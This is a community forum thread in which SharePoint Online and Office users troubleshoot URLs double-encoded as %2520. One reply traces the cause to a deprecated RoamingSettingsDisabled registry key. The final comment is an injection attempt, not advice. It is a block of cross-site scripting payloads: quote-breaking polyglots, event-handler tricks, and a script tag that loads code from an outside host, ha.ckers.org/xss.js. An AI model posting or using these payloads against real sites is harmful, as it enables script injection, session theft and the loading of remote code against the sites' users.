SOLVED

SharePoint Workflow URL Encoding %2520

Copper Contributor

I recently got this error on my SharePoint online environment. Whenever I initiate the workflow, it bring up the form with URL: https://site url/_layouts/15/IniWrkflIP.aspx?List={...}&ItemGuid={...}&TemplateID={}&Source=DocumentURLPath

 

The problem is document URL path is encoded as %2520 when there is a space in Document Library name, for example: "Share Documents" will be encoded as "Share%2520Document". 

 

When you hit Cancel button on the form, it does not bring you back to the document location because the path is not found. 

 

I only experience this problem in the last 2 weeks? Any thought? Is that because SP Online change the way it handle % and #? How can I fix this issue? 

11 Replies
best response confirmed by Khoa Hoang (Copper Contributor)
Solution

Try test the scenario again and see if it has been resolved.

Yes it is working now. I am glad you guys fixed it. 

 

So, did special character support cause that issue? 

Dear Jason,

 

I got the same issue when I try to open Recent Documents in MS Office (Word, Excel, PP ...) which are located on our Sharepoint Online instance.

The following version of Office / Windows are installed:

Excel: 16.0.9126.2282 - 32 Bit

Windows: Version 1709 - 16299.666

 

Wrong Path in Excel Recent files:

https://XXXX.sharepoint.com/sites/ITandCommunicationSingapore/Shared%2520Documents/Communication%252...

 

Right Path:

https://XXXX.sharepoint.com/sites/ITandCommunicationSingapore/Shared%20Documents/Communication%20and.../Price-Comparison-NEW.xlsx

 

When I open files directly from the Windows Explorer (One Note integration), it works and also when I browse inside Office and open files from there.

 

Any idea??

 

Best regards, Andreas

Dear Jason,

 

I got the same issue when I try to open Recent Documents in MS Office (Word, Excel, PP ...) which are located on our Sharepoint Online instance.

The following version of Office / Windows are installed:

Excel: 16.0.9126.2282 - 32 Bit

Windows: Version 1709 - 16299.666

 

Wrong Path in Excel Recent files:

https://XXXX.sharepoint.com/sites/ITandCommunicationSingapore/Shared%2520Documents/Communication%252...

 

Right Path:

https://XXXX.sharepoint.com/sites/ITandCommunicationSingapore/Shared%20Documents/Communication%20and.../Price-Comparison-NEW.xlsx

 

When I open files directly from the Windows Explorer (One Note integration), it works and also when I browse inside Office and open files from there.

 

Any idea??

 

Best regards, Andreas

I am getting the same issue with Excel

 

When I access a file from the Recent Files list in Excel and the file has a space in the path, I get a file not found error. The problem is the URL to the file is double encoded e.g. %20 for space becomes %2520
 
I suspect the issue is PC build related because opening the file from a PC not joined to the client domain and opening the same file from their SP Online tenant doesn't generate the double encoded URL in the Excel recent files list.
 
Any ideas on what is causing this? 

My company too was encountering this problem when opening Word / Excel / PowerPoint files from SharePoint sites or OneDrive using the "File - Open" and clicking on an item in the "Recent Documents" list. 

We have been planning to roll-out Semi-Annual 1803 build 16.0.9126.2259 then because of other issues moved forward to 16.0.9126.2282.  All other issues aside the one I was working on was with Microsoft OneDrive files where the filename or pathname contains a space.   This issue continued to exists when I install the Monthly Targeted build of 16.0.10730.20102

 

When you hover over the link of the ONE DRIVE file to be opened it shows the URL path correctly with only the %20 in place of the space in the https:// path.
https://<companyname>-my.sharepoint.com/personal/<useraccount>/Documents/Test%20Folder/Test%20Document.docx

 When you right click on the file and choose “Copy Path to Clipboard” - you actually get a WRONG URL: This is the URL that copied:

https://<companyname>-my.sharepoint.com/personal/<useraccount>/Documents/Test%2520Folder/Test%2520Document.docx?web=1

 

Note that the name has a %20 which is a space in the path.  In the copied URL it has %2520.  %25 translates to ASCII HEX 25 translates to DEC 37 which is the ASCII for “%”.  Thus the path is %20 but not really.  It is %25 representing “%” followed by 20 to create %20 = space character. If I remove the 25 so that it is only %20 then the link works.  This is a result of "Double-Encoding".   BOTTOM LINE: OFFICE for WORD / EXCEL / POWERPOINT is creating URLs that contain a wrong character and the URL is wrong.  This is not information provided by OneDrive or SharePoint it is a URL generated by the MS Office application.

After working with a SharePoint / OneDrive Microsoft support person this was escalated to a "Special Team" that supports Office 365 but is made up of employees that also seem to have ties to the SharePoint / OneDrive team in their past.
_______________________________________________________

The ANSWER IS:

As we discussed, this issue is being caused by the use of the RoamingSettingsDisabled key in Office.

[HKEY_CURRENT_USER\Software\Policies\Microsoft\Office\16.0\Common\Roaming]
"RoamingSettingsDisabled"=Dword:0x00000001

This is a now-unsupported key in Office C2R, and the behavior you're experiencing is a result of a product bug that the developers have elected not to fix due to the deprecation of that key's use.

The key can be remove/changed to "0" via GPO, as it's part of the Common Office 2016 policies.

_______________________________________________________

The GPO setting is available in the current .ADMX file.  Those deploying the newer versions of the "Semi-Annual" builds of Office 365 are just seeing this because of the incorporation into the Semi-Annual code.  Those that use the Monthly Targeted builds should have already been seeing this for possibly up to 5 months. 

I hope this helps since I was not able to find this information any places else as was VERY lucky to have directed to the right support team within Microsoft.  It was with-in two minutes of saying "HELLO" that he was able to provide the solution.

Thank you very much for sharing that answer 🙂

@Jason Ross  what is the solution to this, I cannot interpret the answer from this article. I am having trouble with url https://sharepointsite.domain.com/projectname/Shared%20Documents/Forms/AllItems.aspx

 

it happens after the Fed-auth redirection is seen, after that %2520 is added in place of %20 in the above url. 

 

is browser/ms office/any specific windows setting is responsible for url encoding.?

 

I'll appreciate any help in the matter, thanks in advance.

 

 

Regards

Ajay Deval

@Ajay_Deval Still have the problem with Version 2208 (Build 15601.20286 Klick-und-Los)

 

Any solution?

 

Regards

Florian

علق BlazeK1ng420في 5 يونيو 2023
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))/ /";alert(String.fromCharCode(88,83,83))//-->&lt;/script&gt;">'>&lt;script&gt;alert(String.fromCharCode(88,83,83))&lt;/script&gt;
' ';!--"=&{()}
0"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
&lt;script/src=البيانات:,alert()>
<marquee/onstart=alert()>
<video/poster/onerror=alert()>
<isindex/autofocus/onfocus=alert()>

&lt;script src=http://ha.ckers.org/xss.js>&lt;/script&gt;
1 best response

Accepted Solutions
best response confirmed by Khoa Hoang (Copper Contributor)
Solution

Try test the scenario again and see if it has been resolved.

View solution in original post